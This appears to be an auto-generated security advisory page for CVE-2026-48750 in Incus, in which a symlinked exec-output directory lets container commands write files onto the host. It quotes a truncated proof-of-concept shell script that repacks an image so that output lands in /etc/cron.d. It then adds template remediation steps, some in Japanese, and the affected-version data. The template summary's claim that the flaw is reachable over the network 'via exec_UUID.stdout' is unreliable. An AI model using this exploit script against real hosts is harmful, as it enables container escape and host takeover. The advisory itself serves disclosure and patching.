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CVE-2026-48750 critical CVSS 9.9

Vulnerability in github.com/lxc/incus/v7/cmd/incusd (CVE-2026-48750)

Summary

Vulnerability in github.com/lxc/incus/v7/cmd/incusd (CVE-2026-48750). Successful exploitation can lead to full system takeover. Exploitable via exec_UUID.stdout. Mitigation: upgrade to 7.2.0 or later.

Original description

The description as published by the source.

Summary

The record-output parameter of the /instances/$name/exec endpoint stores the output of the command in the exec-output directory of the instance. If exec-output is a symlink, file named exec_UUID.stdout and exec_UUID.stderr can be written to an arbitrary location where the .stdout file will contain arbitrary content. This behavior can be abused for arbitrary command execution.

Details

When an image is unpacked, top-level symlinks are extracted as is; allowing for exec-output to be placed on disk. In instance_exec.go, os.Mkdir continues of exec-output exists and os.OpenFile follows the exec-output symlink.

PoC

Below, we place the exec_UUID.stdout file in /etc/cron.d on
the host for arbitrary command execution.

#!/bin/sh
# usage: $0 existing-imagefp
set -eu

basefp="${1}"

die() {
        printf '%s' "${@}" >&2
        exit 1
}

command -v curl >/dev/null 2>&1 || die 'error: curl not found\n'
command -v python3 >/dev/null 2>&1 || die 'error: python3 not found\n'

tmpdir=$(mktemp -d)
cleanup() {
        rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP

# insert exec-output symlink

incus image export "${basefp}" "${tmpdir}/img"

mkdir "${tmpdir}/repack"
cd "${tmpdir}/repack"

xz -cd "${tmpdir}/img" | tar -f- -vx

rm -rf exec-output
ln -s /etc/cron.d exec-output

tar -f- -c * | gzip -c9 >"${tmpdir}/img"

cd - >/dev/null
incus image import "${tmpdir}"/img* --alias afw-exec-output

# Launch container, exec with reco…

Source: GitHub Security Advisories (Global) NVD GitHub Advisory

Auto-generated summary

Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.

A vulnerability tracked as CVE-2026-48750 has been found in github.com/lxc/incus/v7/cmd/incusd.
Attackers can target a specific entry point like exec_UUID.stdout over the network to misuse the product.
Successful exploitation can lead to full system takeover. CVSS score: 9.9/10.
What to do: upgrade github.com/lxc/incus/v7/cmd/incusd to 7.2.0 or later.
If unsure, ask your IT team or search "github.com/lxc/incus/v7/cmd/incusd CVE-2026-48750" on the vendor's site.

CVE-2026-48750 (github.com/lxc/incus/v7/cmd/incusd) — CWE-73 / CVSS v3 9.9
Attack vector: remote (network-reachable) / no user interaction
Attack surface: exec_UUID.stdout / exec_UUID.stderr / instance_exec.go / os.Mkdir
Patched: 7.2.0 — apply immediately
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.

❓ What is the problem

A vulnerability (CWE-73) exists in github.com/lxc/incus/v7/cmd/incusd. Attackers reach the vulnerable code path via exec_UUID.stdout.

📍 Affected scope

Check the vendor advisory for the affected versions of github.com/lxc/incus/v7/cmd/incusd. Attack surface: exec_UUID.stdout / exec_UUID.stderr / instance_exec.go / os.Mkdir.

🔥 Severity

Severity: Critical (CVSS 9.9/10). Successful exploitation can lead to full system takeover.

🔧 How to fix

Update to 7.2.0.

🛡️ Workaround

Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.

🔍 Detection

Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Run grep -r 'github.com/lxc/incus/v7/cmd/incusd' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.

Response actions

Concrete steps and command examples for SOC/SRE teams to execute in order

  1. 1
    Identify exposure identify 
    grep -r 'github.com/lxc/incus/v7/cmd/incusd' . | grep -v node_modules

    リポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で github.com/lxc/incus/v7/cmd/incusd を grep し、稼働しているサービス・バージョンを把握する。

  2. 2
    Apply patch patch 
    Upgrade github.com/lxc/incus/v7/cmd/incusd to 7.2.0

    ステージング環境で 7.2.0 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。

  3. 3
    Post-deployment verification verify 
    Confirm patched version is live in production

    パッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。

Affected packages

go github.com/lxc/incus/v7/cmd/incusd
[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"7.2.0"}]}]
Go github.com/lxc/incus
[{"type":"SEMVER","events":[{"introduced":"0"}]}]
Go github.com/lxc/incus/v6
[{"type":"SEMVER","events":[{"introduced":"0"}]}]
Go github.com/lxc/incus/v7
[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"7.2.0"}]}]

Fix status by distribution

Fixed packages published by each distribution for this CVE

References

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